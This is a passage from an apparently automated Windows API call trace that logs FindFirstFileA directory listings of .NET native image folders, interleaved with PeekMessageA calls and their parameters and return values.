nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.725] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B83e9cb53#\\eb3808a6deaa4ca0482592fc3cd3e591\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee54b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5ee54b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5ee54b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.728] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.730] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.730] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Baa2ca56b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edb3f50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8edb3f50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8edb3f50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.733] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Baa2ca56b#\\7f3ef0a3292355232fc463ad53498cc2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8edb3f50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8edda0b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8edda0b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.735] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.737] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.738] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Build\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57645570, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x57645570, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x57645570, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.739] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Build\\dbd10a9701a839dc22b8ec486247e965\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57645570, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5766b6d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5766b6d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.739] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.744] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.744] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.CSharp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59fa13b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x59fa13b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x59fa13b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.745] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.CSharp\\60c18646a1c70cceb0624fb3cb99da91\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59fa13b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x59fa13b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x59fa13b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.749] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.754] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.754] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Ifcaec084#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ee6530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x57ee6530, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x57ee6530, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.756] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Ifcaec084#\\e2ef33a0dc497b937a6b0d91baebaaa6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ee6530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x57ee6530, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x57ee6530, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.759] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.761] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.761] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.JScript\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4858310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa487e470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa487e470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.763] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.JScript\\bc56ccd3502df30b2dbe6ec77eedf5de\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa487e470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa48a45d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa48a45d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.764] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.769] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.770] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O2eb0cc9a#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eb1b300, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7eb1b300, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7eb1b300, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.771] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O2eb0cc9a#\\e485583fbf74f6def1940114db8b2032\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7eb1b300, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7eb1b300, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7eb1b300, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.776] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.787] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.787] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4161a3a3#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dc86c40, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7dc86c40, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7dc86c40, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.789] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4161a3a3#\\d36c77d6f7a62a08033e5104cdfc1188\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dc86c40, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7dc86c40, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7dc86c40, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.792] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.794] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.795] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4a946565#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d85c5c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7d85c5c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7d85c5c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.795] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4a946565#\\aeecffeb172db13a8c522a5bdebf93df\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d85c5c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7d882720, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7d882720, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.797] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.799] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.800] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4b20f4dd#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e7af360, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7e7af360, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7e7af360, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.801] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O4b20f4dd#\\b93d7918b4d48513ec6a9cb4bcfac2d5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e7af360, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7e7af360, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7e7af360, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.803] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.806] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.806] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O5263ae01#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e9ea800, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7e9ea800, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7e9ea800, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.806] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O5263ae01#\\8b3f23d832d83b8da40e940066af85c1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e9ea800, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7e9ea800, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7e9ea800, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.809] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.811] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.811] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O5949707a#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ca3a320, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7ca3a320, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7ca3a320, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.812] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O5949707a#\\565131aed5b65b39f420bd537804f143\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ca3a320, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7ca3a320, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7ca3a320, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.815] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.817] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.817] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O854200f9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf491e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7cf491e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7cf491e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.818] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.O854200f9#\\f18881ada865a1f4dc18fcef5886db42\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf491e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7cf491e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7cf491e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.821] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.823] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.823] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oab3f8ec6#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f512f20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7f512f20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7f512f20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.824] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oab3f8ec6#\\7c1cf57ccbbfca609339210ba70ccf32\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f512f20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7f512f20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7f512f20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.826] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.828] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.829] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oe2e369ff#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e5e62e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7e5e62e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7e5e62e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.830] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oe2e369ff#\\06036fe053c42a978dddf39215a2324e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e5e62e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7e60c440, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7e60c440, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.833] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.835] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.836] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oeab01fba#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ef45980, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7ef45980, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7ef45980, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.837] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Oeab01fba#\\92bb14e60e969a853957cf9aeed379c7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ef45980, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7ef45980, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7ef45980, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.840] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.842] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.843] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Te3736ca4#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2ac3b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5b2ac3b0, 